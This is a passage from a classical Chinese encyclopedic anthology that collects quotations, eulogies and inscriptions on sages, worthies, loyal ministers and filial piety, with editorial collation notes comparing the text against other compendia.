哉 孔 公 . 龙 见 九 二 . 阐 化 系 象 . 素 王 洙 泗 . 发 挥 中 叶 . 道 映 周 季 .\n【 碑 】 后 汉 祢 衡 鲁 夫 子 碑 曰 . 受 天 至 精 . 纯 粹 睿 哲 . 崇 高 足 以 长 世 . 宽 容 足 以 广 包 . 幽 明 足 以 测 神 . 文 藻 足 以 辩 物 . 然 而 敏 学 以 求 之 . 下 问 以 诹 之 . 虚 心 以 受 之 . 深 思 以 咏 之 . 愍 周 道 之 回 遹 . 悼 九 畴 之 乖 悖 . 故 发 愤 忘 食 . 应 聘 四 方 . 鲁 以 大 夫 之 位 . 任 以 国 政 之 权 . 譬 若 飞 鸿 鸾 于 中 庭 . 骋 骐 骥 于 闾 巷 也 . 是 以 期 月 之 顷 . 五 教 克 谐 . 移 风 易 俗 . 邦 国 肃 焉 . 无 思 不 服 . 懿 文 德 以 纡 余 . 缀 三 五 之 纪 纲 . 流 洪 耀 之 休 赫 . 旷 万 世 而 扬 光 . 夫 大 明 以 动 . 天 则 也 . 广 大 无 疆 . 地 德 也 . 六 经 混 成 . 洪 式 也 . 备 此 三 者 . 圣 极 也 . 合 吉 凶 于 鬼 神 . 遂 殂 落 于 梦 寐 . 是 以 风 烈 流 行 . 无 所 不 通 . 故 立 石 铭 勋 . 以 示 昭 明 . 辞 曰 . 煌 煌 上 天 . 笃 降 若 人 . 邈 矣 悠 哉 . 千 祀 一 邻 . 明 德 弘 监 . 情 性 存 存 . 弈 弈 纯 嘏 . 稽 宪 干 坤 . 曜 彼 灵 祇 . 以 训 黎 元 . 终 日 干 干 . 配 天 之 行 . 在 险 而 正 . 在 困 而 亨 . 穷 达 之 运 . 委 诸 穹 苍 . 日 月 则 阴 . 天 地 不 光 . 圣 叡 殂 崩 . 大 猷 不 纲 .\n【 论 】 后 汉 孔 融 圣 人 优 劣 论 曰 . 荀 愔 等 以 为 圣 人 俱 受 干 坤 之 醇 灵 . 禀 造 化 之 和 气 . 该 百 行 之 高 善 . 备 九 德 之 淑 懿 . 极 鸿 源 之 深 闾 . 穷 品 物 之 情 类 . 旷 荡 出 于 无 外 . 沉 微 沦 于 无 内 . 器 不 是 周 . 不 充 圣 极 . 荀 以 为 孔 子 称 大 哉 尧 之 为 君 也 . 唯 天 为 大 . 唯 尧 则 之 . 是 为 覆 盖 众 圣 . 最 优 之 明 文 也 . 孔 以 尧 作 天 子 九 十 余 年 . 政 化 洽 于 民 心 . 雅 颂 流 于 众 听 . 是 以 声 德 发 闻 . 遂 为 称 首 . 则 易 所 谓 圣 人 久 于 其 道 . 而 天 下 化 成 . 百 年 然 后 胜 残 去 杀 . 必 世 而 后 仁 者 也 . 故 曰 . 大 哉 尧 之 为 君 也 . 尧 之 为 圣 也 . 明 其 圣 与 诸 圣 同 . 但 以 人 见 称 为 君 尔 .\n梁 沈 约 辩 圣 论 曰 . 圣 人 盖 人 中 之 含 明 德 . 尽 照 精 粹 凝\n玄 者 . 或 三 圣 并 时 . 或 千 载 寂 蔑 . 圣 人 遗 情 忘 己 . 常 以\n兼 济 为 念 . 若 不 登 九 五 之 位 . 则 其 道 不 行 . 非 以 黄 屋 玉\n玺 为 尊 贵 也 . 文 王 造 周 而 未 集 . 武 王 集 之 而 未 成 . 周 公\n虽 无 王 录 . 而 父 兄 二 圣 之 烈 . 不 可 以 终 . 若 夫 表 以 圣 功\n. 制 礼 作 乐 . 则 太 平 之 基 不 着 . 二 圣 之 美 不 彰 . 孔 子 当\n无 录 之 运 . 值 自 晦 之 时 . 而 云 河 不 出 图 . 洛 不 出 书 . 吾\n已 矣 夫 . 欲 以 圣 德 示 天 下 . 垂 来 世 . 当 仲 尼 在 世 之 时 .\n世 人 不 言 为 圣 人 也 . 伐 树 削 迹 . 干 七 十 君 而 不 一 值 . 或\n以 东 家 丘 . 或 以 为 丧 家 犬 . 若 不 高 叹 凤 鸟 . 称 梦 周 公 .\n乐 正 雅 颂 . 各 得 其 所 . 则 当 世 安 知 其 圣 人 乎 .\n又 曰 . 南 山 有 台 . 乐 得 贤 也 . 得 贤 则 能 为 邦 家 立 太 平 之 基 矣 .\n春 秋 繁 露 曰 . 气 之 清 者 为 精 . 人 之 清 者 为 贤 . 治 身 者 以 积 精 为 宝 . 治 国 者 以 积 贤 为 道 .\n尚 书 曰 . 所 宝 惟 贤 . 则 迩 人 安 .\n又 曰 . 野 无 遗 贤 .\n论 语 曰 . 贤 者 避 世 . 其 次 避 地 . 其 次 避 色 . 其 次 避 言 .\n又 曰 . 见 贤 思 齐 焉 . 见 不 贤 而 内 自 省 者 也 .\n又 曰 . 贤 哉 回 也 . 一 箪 食 . 一 瓢 饮 . 回 也 不 改 其 乐 .\n又 曰 . 臧 文 仲 其 ○ 太 平 御 览 四 百 零 二 其 下 有 窃 位 者 欤 四 字 . 此 脱 . 知 柳 下 惠 之 贤 而 不 与 立 也 .\n又 曰 . 贤 贤 易 色 .\n京 房 易 飞 候 曰 . 视 四 方 常 有 大 云 . 五 色 具 而 不 雨 . 其 下 有 圣 贤 人 隐 .\n家 语 曰 . 孔 子 读 史 . 至 楚 复 陈 . 喟 然 曰 . 贤 哉 楚 庄 王 . 轻 千 乘 之 国 . 而 重 一 言 之 信 . 非 申 叔 时 之 忠 . 弗 能 见 其 义 . 非 庄 王 贤 . 弗 能 受 其 训 .\n又 曰 . 哀 公 问 孔 子 曰 . 当 今 之 君 . 孰 者 最 贤 . 孔 子 曰 . 有 卫 灵 公 乎 . 公 曰 . 吾 闻 其 闺 门 无 别 . 而 子 贤 之 何 也 . 对 曰 . 灵 公 之 弟 曰 公 子 渠 牟 . 其 智 足 以 治 千 乘 . 灵 公 任 之 . 有 大 夫 史 . 以 道 去 卫 . 而 灵 公 却 舍 . 琴 瑟 不 御 . 臣 以 此 贤 之 . 不 亦 可 乎 . 国 语 曰 . 臼 季 使 于 冀 野 . 见 冀 缺 耨 . 其 妻 馌 之 敬 . 相 待 如 宾 . 归 而 进 之 曰 . 得 贤 人 . 敢 以 告 . 文 公 曰 . 子 何 . 以 知 其 贤 也 . 对 曰 . 臣 见 其 不 忘 敬 也 . 使 为 下 军 大 夫 .\n列 子 曰 . 治 国 之 难 . 在 于 知 贤 . 而 不 在 自 贤 .\n尹 文 子 曰 . 尹 文 子 见 齐 宣 王 . 宣 王 叹 国 寡 贤 . 尹 文 子 曰 . 使 国 悉 贤 . 孰 处 王 下 . 王 曰 . 国 悉 不 肖 . ○ 太 平 御 览 四 百 二 肖 下 有 可 乎 尹 文 子 曰 国 悉 不 肖 十 字 . 此 脱 . 孰 理 王 朝 . 王 曰 . 贤 与 不 肖 . 皆 无 可 乎 . 文 子 曰 . 不 然 . 有 贤 . 有 不 肖 . 故 王 尊 于 上 . 臣 卑 于 下 . 贤 贤 退 不 肖 . 所 以 有 上 下 也 .\n申 子 曰 . 千 里 有 贤 者 . 是 比 肩 而 立 也 .\n孙 卿 子 曰 . 古 之 贤 人 . 食 则 餰 鬻 不 足 . 衣 则 短 褐 不 完 . 然 而 非 礼 不 进 . 非 义 不 受 .\n吕 氏 春 秋 曰 . 公 孙 枝 献 百 里 奚 于 缪 公 . 三 月 . 请 属 事 焉 . 公 曰 . 买 之 五 羊 之 皮 而 属 事 . 无 乃 为 天 下 笑 乎 . 枝 曰 . 信 贤 而 任 之 . 君 之 明 也 . 议 贤 而 下 之 . 臣 之 忠 也 . 夫 谁 笑 哉 .\n又 曰 . 贤 者 遗 人 以 仁 .\n又 曰 . 得 地 千 里 . 不 如 得 一 贤 也 .\n又 曰 . 魏 文 侯 过 段 干 木 之 闾 而 式 . 其 仆 曰 . 君 胡 式 . 曰 . 干 木 贤 者 也 . 吾 安 敢 不 式 .\n韩 子 曰 . 晋 平 公 问 叔 向 曰 . 吾 群 臣 孰 贤 . 对 曰 . 赵 武 贤 . 武 立 如 不 胜 衣 . 言 如 不 出 口 . 然 其 所 举 者 数 十 人 . 皆 令 德 也 .\n黄 石 公 三 略 曰 . 伤 贤 者 殃 及 三 世 . 蔽 贤 者 身 当 其 害 . 达 贤 者 福 流 子 孙 . 嫉 贤 者 名 不 存 .\n韩 诗 外 传 曰 . 圣 人 求 贤 者 以 自 辅 .\n又 曰 . 魏 文 侯 问 孤 卷 子 曰 . 父 子 兄 弟 臣 贤 . 足 恃 乎 . 对 曰 . 父 贤 不 过 尧 . 而 丹 朱 放 . 子 贤 不 过 舜 . 而 瞽 瞍 拘 . 兄 贤 不 过 舜 . 而 象 傲 . 弟 贤 不 过 周 公 . 而 管 叔 诛 . 臣 贤 不 过 汤 武 . 而 桀 纣 伐 . 君 欲 治 . 亦 从 身 始 . 人 何 可 恃 .\n物 理 论 曰 . 贤 人 为 德 . 体 自 然 也 . 故 语 曰 . 黄 金 累 千 . 不 如 一 贤 .\n【 颂 】 汉 王 褒 圣 主 得 贤 臣 颂 曰 . 夫 贤 者 国 家 之 器 用 也 . 所 任 贤 . 则 趍 舍 省 而 功 施 普 . 器 用 利 . 则 用 力 少 而 就 效 众 . 故 工 人 之 用 钝 器 也 . 劳 筋 苦 骨 . 终 日 矻 矻 . 及 巧 冶 铸 干 将 之 朴 . 清 水 淬 其 锋 . 越 砥 敛 其 锷 . 水 断 蛟 龙 . 陆 剸 犀 革 . 使 离 娄 督 绳 . 公 输 削 墨 . 虽 崇 台 五 层 . 延 袤 百 丈 而 不 溷 者 . 工 用 相 得 也 . 故 服 絺 绤 之 凉 者 . 不 苦 盛 暑 之 郁 燠 . 袭 狐 貉 之 暖 者 . 不 忧 至 寒 之 凄 沧 . 何 则 . 有 其 具 者 易 其 备 . 有 贤 人 君 子 . 亦 圣 王 之 所 以 易 海 内 也 . 君 人 者 . 勤 于 求 贤 . 而 逸 于 得 人 . 人 臣 亦 然 . 昔 贤 者 之 未 遭 遇 也 . 图 事 揆 策 . 则 君 不 用 其 谋 . 陈 见 悃 诚 . 则 上 不 然 其 信 . 进 仕 不 得 施 效 . 斥 逐 又 非 其 . 是 故 伊 尹 勤 于 鼎 俎 . 太 公 困 于 鼓 刀 . 百 里 自 鬻 . 宁 子 饭 牛 . 及 其 遇 明 君 . 遭 圣 主 也 . 运 筹 合 上 意 . 谏 争 则 见 听 . 进 退 得 关 其 忠 . 任 职 得 行 其 术 . 剖 符 锡 壤 而 光 祖 考 . 传 之 子 孙 . 以 资 说 士 . 故 世 必 有 圣 智 之 君 . 而 后 有 贤 明 之 臣 . 诗 曰 . 思 皇 多 士 . 生 此 王 国 . 故 世 平 王 圣 . 俊 乂 将 自 至 . 若 尧 舜 禹 汤 文 武 之 君 . 获 稷 契 皋 陶 伊 尹 吕 望 之 臣 . 明 明 在 朝 . 穆 穆 列 布 . 故 圣 主 必 待 贤 臣 而 弘 功 业 . 俊 士 亦 俟 明 主 以 显 其 德 . 上 下 俱 欲 . 欢 然 交 欣 . 千 载 一 会 . 论 说 无 疑 . 翼 乎 如 鸿 毛 遇 顺 风 . 沛 乎 若 巨 鱼 纵 大 壑 . 其 得 意 如 此 . 则 胡 禁 不 止 . 曷 令 不 行 . 化 溢 四 表 . 横 被 无 穷 . 遐 夷 贡 献 . 万 祥 必 臻 . 是 以 圣 王 不 遍 窥 望 . 而 视 已 明 . 不 殚 倾 耳 . 而 听 已 聪 .\n【 赞 】 晋 夏 侯 湛 颜 子 赞 曰 . 知 彰 知 微 . 体 深 研 机 . 明 象 介 石 . 量 同 圣 师 . 探 赜 罔 滞 . 在 言 靡 遗 . 仰 诸 惟 高 . 瞻 之 攸 希 .\n又 左 丘 明 赞 曰 . 世 乱 谗 胜 . 君 子 道 忧 . 丘 明 达 圣 . 致 志 春 秋 . 微 言 逃 难 . 旁 行 不 流 . 庶 几 斯 文 . 希 志 训 猷 .\n晋 戴 逵 颜 回 赞 曰 . 神 道 天 绝 . 理 非 语 象 . 不 有 伊 人 . 谁 怜 谁 仰 . 际 尽 一 时 . 照 无 二 朗 . 契 彼 玄 迹 . 冥 若 影 响 .\n晋 孙 楚 颜 回 赞 曰 . 束 身 励 行 . 宗 事 圣 道 . 钻 仰 孜 孜 . 视 予 犹 考 .\n【 碑 】 后 汉 祢 衡 颜 子 碑 曰 . 禀 天 地 之 纯 和 . 钟 岳 渎 之 休 灵 . 睿 哲 之 姿 . 诞 自 初 育 . 英 绝 之 才 . 显 乎 婴 孩 . 在 束 脩 之 齿 . 入 宣 尼 之 室 . 德 行 迈 于 三 千 . 仁 风 横 于 万 国 . 知 微 知 章 . 闻 一 觉 十 . 用 行 舍 藏 . 与 圣 合 契 . 名 为 四 友 之 冠 . 寔 尽 疏 附 之 益 . 尔 乃 安 陋 巷 . 挹 清 流 . 甘 箪 瓢 以 充 饥 . 虽 屡 空 而 不 忧 . 于 时 河 不 出 图 . 周 祚 未 讫 . 仲 尼 无 舜 禹 之 功 . 先 生 包 元 凯 之 烈 . 其 辞 曰 . 亚 圣 德 . 蹈 高 踪 . 游 洙 泗 . 肃 礼 容 . 备 懿 体 . 心 弥 冲 . 秀 不 实 . 振 芳 风 . 配 圣 馈 . 图 辟 雍 . 纪 德 行 . 昭 罔 穷 .\n【 论 】 魏 高 贵 乡 公 颜 子 论 曰 . 心 不 违 仁 . 行 无 二 过 .\n用 行 舍 藏 . 与 同 进 退 . 听 承 圣 言 . 罔 有 不 喻 . 叙 之 于 易\n. 以 章 殊 异 . 死 则 悲 恸 . 谓 天 丧 己 . 所 以 慇 懃 至 于 此 者\n. 圣 人 嘉 美 良 才 之 效 也 . 设 使 天 假 之 年 . 后 孔 子 没 . 焉\n知 其 不 光 明 圣 道 . 阐 扬 师 业 . 有 卓 尔 之 美 乎 . 百 虑 之 所\n得 . 愚 者 有 焉 . 愿 后 之 君 子 . 详 览 之 焉 尔 .\n孝 经 曰 . 进 思 尽 忠 . 退 思 补 过 . 将 顺 其 美 . 匡 救 其 恶 .\n左 传 曰 . 晋 献 公 使 荀 息 傅 奚 齐 . 对 曰 . 臣 竭 其 股 肱 之 力 . 加 之 以 忠 贞 . 其 济 君 之 灵 也 . 不 济 则 以 死 继 之 . 公 曰 . 何 谓 忠 贞 . 对 曰 . 公 家 之 利 . 知 无 不 为 . 忠 也 . 送 往 事 居 . 耦 俱 无 猜 . 贞 也 .\n又 曰 . 晋 怀 公 命 无 从 亡 人 . 狐 突 之 子 毛 及 偃 . 从 重 耳 在 秦 . 弗 召 . 怀 公 执 突 曰 . 子 来 则 免 . 对 曰 . 子 之 能 仕 . 父 教 之 忠 . 策 名 委 质 . 贰 乃 辟 也 . 父 教 子 贰 . 何 以 事 君 . 乃 杀 之 .\n又 曰 . 楚 子 灭 若 敖 氏 . 其 孙 葴 尹 克 黄 使 于 齐 . 闻 乱 . 其 人 曰 . 不 可 以 入 矣 . 葴 尹 曰 . 君 . 天 也 . 天 可 逃 乎 . 遂 归 复 命 . 自 拘 司 败 .\n又 曰 . 季 文 子 卒 . 无 衣 帛 之 妾 . 无 食 粟 之 马 . 无 藏 金 玉 . 无 重 器 备 . 君 子 是 以 知 季 文 子 之 忠 于 公 室 也 . 相 三 君 矣 . 而 无 积 . 可 不 谓 忠 乎 .\n又 曰 . 楚 子 囊 将 死 . 遗 言 谓 子 庚 曰 . 必 城 郢 . 君 子 谓 子 囊 忠 . 将 死 不 忘 卫 社 稷 . 可 不 谓 忠 乎 . 忠 . 民 之 望 也 .\n家 语 曰 . 孔 子 曰 . 晏 子 于 君 为 忠 臣 . 于 行 为 恭 敏 .\n晏 子 曰 . 梁 丘 据 问 晏 子 曰 . 子 事 三 君 . 君 不 同 心 . 而 子 俱 从 焉 . 仁 人 固 多 心 乎 . 对 曰 . 一 心 可 以 事 百 君 . 百 心 不 可 以 事 一 君 .\n韩 诗 外 传 曰 . 有 大 忠 . 有 次 忠 . 有 下 忠 . 若 周 公 于 成 王 . 可 谓 大 忠 . 管 仲 于 桓 公 . 可 谓 次 忠 . 子 胥 于 夫 差 . 可 谓 下 忠 矣 .\n又 曰 . 狄 人 杀 卫 懿 公 . 尽 食 其 肉 . 独 舍 其 肝 . 弘 演 使 还 . 哭 毕 呼 天 . 因 自 出 其 肝 . 内 懿 公 之 肝 . 齐 桓 公 闻 之 曰 . 弘 演 可 谓 忠 矣 .\n史 记 曰 . 项 籍 围 汉 王 于 荥 阳 . 汉 将 纪 信 曰 . 事 已 急 . 请 为 王 . 王 可 间 出 . 纪 信 乘 黄 屋 左 纛 . 曰 . 城 中 食 尽 . 汉 王 降 . 楚 军 皆 呼 万 岁 . 汉 王 与 数 十 骑 出 . 项 王 烧 杀 纪 信 .\n说 苑 曰 . 楚 庄 王 立 . 三 年 不 听 朝 . 令 于 国 曰 . 谏 者 死 . 苏 从 曰 . 处 君 之 高 爵 . 食 君 之 厚 禄 . 爱 死 不 谏 . 非 忠 也 . 乃 谏 . 事 具 谏 篇 .\n又 曰 . 卑 身 贱 体 . 进 贤 不 解 . 数 称 往 古 之 行 事 . 以 厉 王 意 . 庶 几 有 益 . 以 安 国 家 . 如 此 者 忠 臣 也 .\n汉 书 曰 . 非 刘 氏 不 王 . 高 祖 制 诏 御 史 . 长 沙 王 吴 芮 忠 . 其 定 着 令 .\n又 曰 . 王 莽 遣 使 者 . 即 拜 龚 胜 . 以 印 绶 就 加 胜 身 . 胜 辍 推 不 受 . 曰 . 吾 受 汉 家 厚 恩 . 无 以 报 . 岂 以 一 身 事 二 姓 哉 . 语 毕 . 遂 不 复 饮 食 . 积 十 四 日 死 .\n东 观 汉 记 曰 . 光 武 指 王 常 谓 群 臣 曰 . 此 家 率 下 江 诸 将 . 辅 翼 汉 室 . 心 如 金 石 . 真 忠 臣 也 . 是 日 迁 常 为 汉 忠 将 军 .\n续 汉 记 曰 . 阴 识 拜 特 进 . 极 言 正 议 . 至 与 宾 客 语 . 不 及 国 事 . 常 慕 仲 山 甫 夙 夜 匪 解 .\n又 曰 . 温 序 为 护 军 校 尉 . 行 部 至 陇 西 . 为 隗 嚣 将 荀 宇 等 所 劫 . 欲 生 降 序 . 序 大 怒 . 以 节 挝 杀 人 . 贼 趍 欲 杀 序 . 宇 止 之 曰 . 义 士 欲 死 节 . 赐 剑 令 自 裁 . 序 受 剑 . 衔 须 着 口 中 . 叹 曰 . 无 令 须 污 土 . 遂 伏 剑 .\n谢 承 后 汉 书 曰 . 汉 安 元 年 . 选 遣 八 使 . 巡 行 风 俗 . 余 人 受 命 之 部 . 而 张 纲 独 埋 轮 于 洛 阳 都 亭 . 曰 . 豺 狼 当 路 . 安 问 狐 狸 . 遂 奏 大 将 军 梁 冀 无 君 之 心 十 五 事 . 皆 臣 子 所 切 齿 者 也 .\n魏 志 曰 . 王 脩 为 大 农 郎 中 令 . 时 严 才 反 攻 掖 门 . 脩 闻 变 . 将 官 属 出 至 宫 门 . 太 祖 在 铜 雀 台 . 望 见 之 曰 . 彼 来 者 . 必 王 叔 治 也 . 相 国 钟 繇 谓 脩 曰 . 旧 京 城 有 变 . 九 卿 各 居 其 府 . 脩 曰 . 居 府 虽 旧 . 非 赴 难 之 义 也 .\n又 曰 . 典 韦 拜 都 尉 . 太 祖 引 置 左 右 . 将 亲 兵 数 百 人 . 常 绕 帐 . 韦 性 忠 至 谨 重 . 常 昼 夜 立 侍 . 终 日 夜 宿 帐 左 右 . 稀 归 私 寝 . 蜀 志 曰 . 初 诸 葛 亮 自 表 后 主 . 成 都 有 桑 八 百 . 薄 田 十 五 顷 . 子 孙 衣 食 自 有 余 . 至 于 臣 在 外 任 . 随 身 衣 食 . 悉 仰 于 官 . 若 臣 死 之 日 . 不 使 内 有 余 帛 . 外 有 嬴 财 . 及 卒 . 如 其 所 言 .\n周 处 别 传 曰 . 互 ○ 初 学 记 十 七 作 氐 . 贼 为 乱 . 以 处 为 建 威 将 军 . 以 兵 五 千 . 受 夏 侯 俊 节 度 . 处 遂 进 军 大 战 . 仰 天 叹 曰 . 古 者 良 将 受 命 . 凿 凶 门 以 出 . 盖 有 进 无 退 . 我 为 大 臣 . 以 身 殉 国 . 不 亦 可 乎 . 遂 战 死 .\n【 赞 】 梁 元 帝 忠 臣 传 记 ○ 初 学 记 十 七 作 受 . 托 篇 赞 曰 . 太 真 英 挺 . 投 袂 勤 王 . 伯 猷 蹈 节 . 身 殒 名 扬 . 嶷 嶷 景 倩 . 主 亡 与 亡 . 嗟 乎 尚 矣 . 惟 国 之 良 .\n又 忠 臣 传 谏 ○ 原 作 陈 . 据 本 书 二 十 四 谏 篇 引 序 改 . 争 篇 赞 曰 . 子 政 铿 铿 . 诚 存 社 稷 . 朱 游 折 槛 . 遂 其 婞 直 .\n又 忠 臣 传 执 法 篇 赞 曰 . 设 官 分 职 . 咸 曰 师 师 . 彼 己 之 子 . 邦 之 直 司 . 豺 狼 当 路 . 安 问 狐 狸 . 昏 明 有 世 . 直 道 无 时 .\n【 表 】 梁 元 帝 上 忠 臣 传 表 曰 . 资 父 事 君 . 寔 曰 严 敬 . 求 忠 出 孝 . 义 兼 臣 子 . 是 以 冬 温 夏 凊 . 尽 事 君 之 节 . 进 思 将 美 . 怀 出 奉 之 义 . 羲 轩 改 物 . 殷 周 受 命 . 三 能 十 乱 . 九 棘 五 臣 . 靡 不 夙 夜 在 公 . 忠 为 令 德 . 若 使 缙 云 得 姓 之 子 . 姬 昌 鲁 卫 之 臣 . 是 知 理 合 君 亲 . 孝 忠 一 体 . 性 与 率 由 . 因 心 致 极 . 臣 连 华 霄 汉 . 凭 晖 日 月 . 三 握 再 吐 . 夙 奉 紫 庭 之 慈 . 春 诗 秋 礼 . 早 蒙 丹 扆 之 训 . 宣 帝 褒 德 . 麟 阁 画 充 国 之 形 . 显 宗 念 功 . 云 台 图 仲 华 之 象 .\n【 笺 】 梁 王 筠 答 湘 东 王 示 忠 臣 传 笺 曰 . 窃 以 孝 实 天 经 . 忠 为 令 德 . 百 行 攸 先 . 一 心 靡 或 . 昔 淮 南 鸿 烈 . 事 无 的 准 . 沛 王 通 论 . 义 止 儒 术 . 东 平 获 誉 为 片 言 . 临 淄 见 称 文 辞 小 道 . 孰 若 理 冠 君 亲 . 义 兼 臣 子 . 谨 当 宣 示 遐 迩 . 光 扬 德 音 .\n【 序 】 梁 元 帝 忠 臣 传 序 曰 . 夫 天 地 之 大 德 曰 生 . 圣 人 之 大 宝 曰 位 . 因 生 所 以 尽 孝 . 因 位 所 以 立 忠 . 事 君 事 父 . 资 敬 之 理 宁 异 . 为 臣 为 子 . 率 由 之 道 斯 一 . 忠 为 令 德 . 窃 所 景 行 . 且 孝 子 烈 女 逸 民 . 咸 有 别 传 . 至 于 忠 臣 . 曾 无 述 制 . 今 将 发 箧 陈 书 . 备 加 论 讨 .\n又 忠 臣 传 死 节 篇 序 曰 . 自 非 识 君 臣 之 大 体 . 鉴 生 死 之\n弘 分 . 何 以 能 灭 七 尺 之 躯 . 殉 一 顾 之 感 . 然 平 路 康 衢 .\n从 容 之 道 进 . 危 涂 险 径 . 忠 贞 之 节 兴 . 登 平 路 者 易 为 功\n. 涉 险 涂 者 难 为 力 . 从 容 之 用 . 世 不 乏 人 . 忠 贞 之 概 .\n时 难 屡 有 .\n孝 经 曰 . 夫 孝 天 之 经 也 . 地 之 义 也 . 民 之 行 也 .\n又 曰 . 夫 孝 始 于 事 亲 . 中 于 事 君 . 终 于 立 身 .\n又 曰 . 爱 亲 者 . 不 敢 恶 于 人 . 敬 亲 者 . 不 敢 慢 于 人 . 爱 敬 尽 于 事 亲 . 而 德 教 加 于 百 姓 . 刑 于 四 海 . 盖 天 子 之 孝 也 .\n礼 记 曰 . 曾 子 曰 . 孝 有 三 . 大 孝 尊 亲 . 其 次 弗 辱 . 其 下 能 养 .\n又 曰 . 公 明 仪 问 于 曾 子 曰 . 夫 子 可 以 为 孝 乎 . 曾 子 曰 . 孝 者 先 意 承 志 . 谕 父 母 于 道 . 参 直 养 者 也 . 安 能 为 孝 乎 .\n又 曰 . 先 王 之 孝 也 . 色 不 忘 乎 目 . 声 不 绝 乎 耳 . 心 志 嗜 欲 . 不 忘 乎 心 .\n又 曰 . 生 则 敬 养 . 死 则 敬 享 .\n毛 诗 曰 . 哀 哀 父 母 . 生 我 劬 劳 . 无 父 何 怙 . 无 母 何 恃 . 出 则 衔 恤 . 入 则 靡 至 . 父 兮 生 我 . 母 兮 鞠 我 . 抚 我 育 我 . 长 我 畜 我 . 顾 我 复 我 . 出 入 腹 我 . 欲 报 之 . 昊 天 罔 极 .\n论 语 曰 . 三 年 无 改 于 父 之 道 . 可 谓 孝 矣 .\n又 曰 . 孟 懿 子 问 孝 . 子 曰 . 无 违 . 樊 迟 曰 . 何 谓 也 . 子 曰 . 生 事 之 以 礼 . 死 葬 之 以 礼 . 祭 之 以 礼 .\n子 游 问 孝 . 子 曰 . 父 母 唯 其 疾 之 忧 . 尸 子 曰 . 曾 子 每 读 丧 礼 . 泣 下 沾 襟 . 常 以 一 夕 五 起 . 视 衣 之 厚 薄 . 枕 之 高 卑 .\n韩 诗 外 传 曰 . 曾 子 曰 . 往 而 不 可 还 者 . 亲 也 故 孝 欲 养 而 亲 不 待 . 是 故 椎 牛 而 葬 . 不 如 鸡 豚 之 逮 亲 存 也 . 初 吾 为 吏 . 禄 不 及 釜 . 尚 欣 欣 而 喜 者 . 非 以 为 多 也 . 乐 其 逮 亲 也 . 既 没 之 后 . 吾 尝 南 游 于 楚 . 得 尊 官 焉 . 堂 高 九 尺 . 转 尝 ○ 初 学 记 十 七 . 太 平 御 览 四 百 十 四 作 毂 . 百 乘 . 然 犹 北 向 而 泣 涕 者 . 非 为 贱 也 . 悲 不 逮 吾 亲 也 . 故 家 贫 亲 老 . 不 择 官 而 仕 . 说 苑 曰 . 曾 子 常 有 为 不 中 . 曾 皙 怒 . 援 木 击 之 . 曾 子 有 顷 乃 苏 . 退 鼓 瑟 而 歌 . 孔 子 闻 之 . 告 门 人 曰 . 参 来 勿 内 也 . 昔 舜 事 瞽 瞍 . 索 而 使 之 . 未 尝 不 在 侧 . 索 而 杀 之 . 未 尝 可 得 . 而 小 箠 则 受 . 大 箠 则 走 . 今 曾 子 委 身 待 暴 怒 . 以 陷 父 不 义 . 不 孝 孰 大 乎 .\n又 曰 . 韩 伯 瑜 有 过 . 其 母 笞 之 . 泣 . 母 曰 . 他 日 未 尝 泣 . 今 何 泣 . 对 曰 . 他 日 得 笞 . 尝 痛 . 今 母 之 力 不 能 痛 . 是 以 泣 也 .\n又 曰 . 闵 子 骞 兄 弟 二 人 . 母 死 . 其 父 更 娶 . 复 有 二 子 . 子 骞 为 其 父 御 车 . 失 辔 . 父 持 其 手 . 衣 甚 单 . 父 则 归 . 呼 其 后 母 儿 . 持 其 手 . 衣 甚 厚 温 . 即 谓 其 妇 曰 . 吾 所 以 娶 汝 . 乃 为 吾 子 . 今 汝 欺 我 . 去 无 留 . 子 骞 前 曰 . 母 在 一 子 单 . 母 去 四 子 寒 . 其 父 默 然 . 故 曰 . 孝 哉 闵 子 骞 . 一 言 其 母 还 . 再 言 三 子 温 .\n列 女 传 曰 . 老 莱 子 孝 养 二 亲 . 行 年 七 十 . 婴 儿 自 娱 . 着 五 色 采 衣 . 尝 取 浆 上 堂 . 跌 仆 . 因 卧 地 为 小 儿 啼 . 或 弄 乌 鸟 于 亲 侧 .\n汉 书 曰 . 淳 于 缇 萦 . 齐 人 淳 于 意 . 五 女 无 男 . 坐 事 当 刑 . 缇 萦 最 小 . 涕 泣 随 父 到 长 安 . 上 书 曰 . 妾 父 为 监 . 齐 中 皆 称 廉 平 . 今 坐 事 当 刑 . 妾 乞 没 为 官 婢 . 以 赎 父 罪 . 文 帝 诏 免 意 罪 . 并 除 肉 刑 .\n又 曰 . 文 帝 母 薄 太 后 疾 . 文 帝 侍 养 数 年 . 衣 不 解 带 . 亲 供 粢 盛 . 坐 罪 不 及 父 母 . 下 哀 矜 之 诏 .\n又 曰 . 金 日 磾 母 . 教 诲 两 子 . 甚 有 法 度 . 上 闻 而 嘉 之 . 母 病 死 . 诏 图 画 于 甘 泉 宫 . 署 曰 休 屠 王 阏 氏 . 日 磾 每 见 画 . 常 拜 之 涕 泣 .\n东 观 汉 记 曰 . 长 沙 义 士 古 初 . 父 丧 未 葬 . 邻 人 火 起 . 及 初 舍 下 . 棺 不 可 移 . 初 冒 火 伏 棺 上 . 俄 而 火 灭 .\n又 曰 . 赵 咨 至 孝 . 躬 率 子 孙 . 耕 农 为 养 . 盗 尝 夜 往 劫 之 . 咨 恐 母 惊 惧 . 乃 先 至 门 迎 盗 . 因 请 为 设 食 . 谢 曰 . 老 母 八 十 . 疾 病 须 养 . 居 贫 . 乞 置 衣 粮 . 妻 子 余 物 无 所 惜 . 诸 盗 皆 惭 叹 . 跪 曰 . 所 犯 无 状 . 干 暴 贤 者 . 言 毕 奔 走 .\n又 曰 . 黄 香 父 为 郡 五 官 . 贫 无 奴 仆 . 香 躬 执 勤 苦 . 尽 心 供 养 . 冬 无 被 葱 . 而 亲 极 滋 味 . 暑 即 扇 床 枕 . 寒 即 以 身 温 席 .\n续 汉 书 曰 . 申 徒 蟠 九 岁 丧 父 . 孝 毁 过 礼 . 服 除 . 不 进 肉 十 余 年 . 每 忌 日 . 辄 三 日 不 食 .\n郭 林 宗 别 传 曰 . 茅 容 耕 于 野 . 避 雨 树 下 . 众 皆 夷 踞 相 对 . 独 容 危 坐 愈 恭 . 林 宗 行 . 见 而 奇 之 . 与 言 . 因 请 寓 宿 . 既 而 日 夕 . 容 杀 鸡 为 馔 . 林 宗 谓 为 己 设 . 既 而 以 供 其 母 . 自 以 菜 蔬 供 客 同 饭 . 林 宗 起 拜 曰 . 卿 贤 乎 我 哉 .\n汝 南 先 贤 传 曰 . 薛 苞 好 学 笃 行 . 丧 母 . 以 至 孝 闻 . 父 娶 后 妻 而 憎 苞 . 分 之 令 